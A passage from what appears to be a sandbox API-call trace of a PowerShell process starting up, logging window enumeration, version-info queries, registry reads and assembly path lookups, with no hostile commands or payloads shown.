() returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x590 [0057.501] GetLastError () returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x11c [0057.501] GetLastError () returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x7b0 [0057.501] GetLastError () returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x7e4 [0057.501] GetLastError () returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x734 [0057.501] GetLastError () returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x438 [0057.501] GetLastError () returned 0x0 [0057.501] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x724 [0057.501] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x204 [0057.502] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x2ac [0057.502] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x344 [0057.502] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x618 [0057.502] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x5b0 [0057.502] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x440 [0057.502] GetLastError () returned 0x0 [0057.502] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x6e4 [0057.502] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x568 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x538 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x540 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x510 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x79c [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x4e0 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x460 [0057.503] GetLastError () returned 0x0 [0057.503] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x16ea10 | out: lpdwProcessId=0x16ea10) returned 0x778 [0057.503] GetLastError () returned 0x0 [0057.503] GetLastError () returned 0x0 [0057.508] WerSetFlags () returned 0x0 [0057.524] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0057.526] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x16edec, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x16ede8 | out: pulNumLanguages=0x16edec, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x16ede8) returned 1 [0057.527] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x16edec, pwszLanguagesBuffer=0x2b3be18, pcchLanguagesBuffer=0x16ede8 | out: pulNumLanguages=0x16edec, pwszLanguagesBuffer=0x2b3be18, pcchLanguagesBuffer=0x16ede8) returned 1 [0057.530] GetUserDefaultLocaleName (in: lpLocaleName=0x607300, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0057.551] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.551] GetLastError () returned 0xcb [0057.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.553] GetLastError () returned 0xcb [0057.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.554] GetLastError () returned 0xcb [0057.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e85c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.566] GetLastError () returned 0xcb [0057.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.566] GetLastError () returned 0xcb [0057.566] SetErrorMode (uMode=0x1) returned 0x1 [0057.566] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x16ecf8 | out: lpFileInformation=0x16ecf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0057.566] GetLastError () returned 0xcb [0057.566] SetErrorMode (uMode=0x1) returned 0x1 [0057.566] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x16ed7c | out: lpdwHandle=0x16ed7c) returned 0x94c [0057.568] GetLastError () returned 0x0 [0057.568] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2b3e348 | out: lpData=0x2b3e348) returned 1 [0057.569] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16ed48, puLen=0x16ed44 | out: lplpBuffer=0x16ed48*=0x2b3e3e4, puLen=0x16ed44) returned 1 [0057.569] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e4c0, puLen=0x16ecc0) returned 1 [0057.569] lstrlenW (lpString="Microsoft Corporation") returned 21 [0057.569] lstrcpyW (in: lpString1=0x607300, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0057.569] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e514, puLen=0x16ecc0) returned 1 [0057.569] lstrlenW (lpString="System.Management.Automation") returned 28 [0057.569] lstrcpyW (in: lpString1=0x607300, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0057.569] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e570, puLen=0x16ecc0) returned 1 [0057.569] lstrlenW (lpString="6.1.7601.17514") returned 14 [0057.569] lstrcpyW (in: lpString1=0x607300, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0057.569] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e5b0, puLen=0x16ecc0) returned 1 [0057.569] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0057.569] lstrcpyW (in: lpString1=0x607300, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e618, puLen=0x16ecc0) returned 1 [0057.570] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0057.570] lstrcpyW (in: lpString1=0x607300, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e6b4, puLen=0x16ecc0) returned 1 [0057.570] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0057.570] lstrcpyW (in: lpString1=0x607300, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e718, puLen=0x16ecc0) returned 1 [0057.570] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0057.570] lstrcpyW (in: lpString1=0x607300, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e794, puLen=0x16ecc0) returned 1 [0057.570] lstrlenW (lpString="6.1.7601.17514") returned 14 [0057.570] lstrcpyW (in: lpString1=0x607300, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x2b3e43c, puLen=0x16ecc0) returned 1 [0057.570] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0057.570] lstrcpyW (in: lpString1=0x607300, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x0, puLen=0x16ecc0) returned 0 [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x0, puLen=0x16ecc0) returned 0 [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x16ecc4, puLen=0x16ecc0 | out: lplpBuffer=0x16ecc4*=0x0, puLen=0x16ecc0) returned 0 [0057.570] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16ecb8, puLen=0x16ecb4 | out: lplpBuffer=0x16ecb8*=0x2b3e3e4, puLen=0x16ecb4) returned 1 [0057.570] VerLanguageNameW (in: wLang=0x0, szLang=0x607300, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0057.571] VerQueryValueW (in: pBlock=0x2b3e348, lpSubBlock="\\", lplpBuffer=0x16eccc, puLen=0x16ecc8 | out: lplpBuffer=0x16eccc*=0x2b3e370, puLen=0x16ecc8) returned 1 [0057.577] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.577] GetLastError () returned 0xcb [0057.582] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.582] GetLastError () returned 0xcb [0057.585] lstrlenW (lpString="䅁") returned 1 [0057.588] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ec90 | out: phkResult=0x16ec90*=0x318) returned 0x0 [0057.588] RegOpenKeyExW (in: hKey=0x318, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ec94 | out: phkResult=0x16ec94*=0x31c) returned 0x0 [0057.589] RegOpenKeyExW (in: hKey=0x31c, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ecc8 | out: phkResult=0x16ecc8*=0x320) returned 0x0 [0057.591] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16ed08, lpData=0x0, lpcbData=0x16ed04*=0x0 | out: lpType=0x16ed08*=0x1, lpData=0x0, lpcbData=0x16ed04*=0x56) returned 0x0 [0057.593] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16ed08, lpData=0x607300, lpcbData=0x16ed04*=0x56 | out: lpType=0x16ed08*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x16ed04*=0x56) returned 0x0 [0057.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.596] GetLastError () returned 0x0 [0057.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.597] GetLastError () returned 0x0 [0057.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.604] GetLastError () returned 0x0 [0057.614] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.614] GetLastError () returned 0xcb [0057.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0057.908] GetLastError () returned 0x2 [0057.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0057.908] GetLastError () returned 0x2 [0058.039] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.039] GetLastError () returned 0xcb [0058.040] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.040] GetLastError () returned 0xcb [0058.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.070] GetLastError () returned 0xcb [0058.071] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.071] GetLastError () returned 0xcb [0058.071] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.071] GetLastError () returned 0xcb [0058.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0058.429] GetLastError () returned 0x0 [0058.429] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0058.429] GetLastError () returned 0x0 [0058.461] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.461] GetLastError () returned 0xcb [0058.465] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.465] GetLastError () returned 0xcb [0058.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.521] GetLastError () returned 0x7e [0058.521] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.521] GetLastError () returned 0x7e [0059.454] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0059.454] GetLastError () returned 0x2 [0059.454] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0059.454] GetLastError () returned 0x2 [0059.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.632] GetLastError () returned 0x57 [0059.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.632] GetLastError () returned 0x57 [0059.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0059.912] GetLastError () returned 0x2 [0059.912] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0059.912] GetLastError () returned 0x2 [0061.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0061.420] GetLastError () returned 0x2 [0061.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0061.421] GetLastError () returned 0x2 [0061.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.430] GetLastError () returned 0xcb [0061.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.430] GetLastError () returned 0xcb [0061.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.431] GetLastError () returned 0xcb [0061.432] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.432] GetLastError () returned 0xcb [0061.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x16e7dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0061.473] GetLastError () returned 0x2 [0061.473] SetErrorMode (uMode=0x1) returned 0x1 [0061.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x16ec84 | out: lpFileInformation=0x16ec84*(dwFileAttributes=0x0, 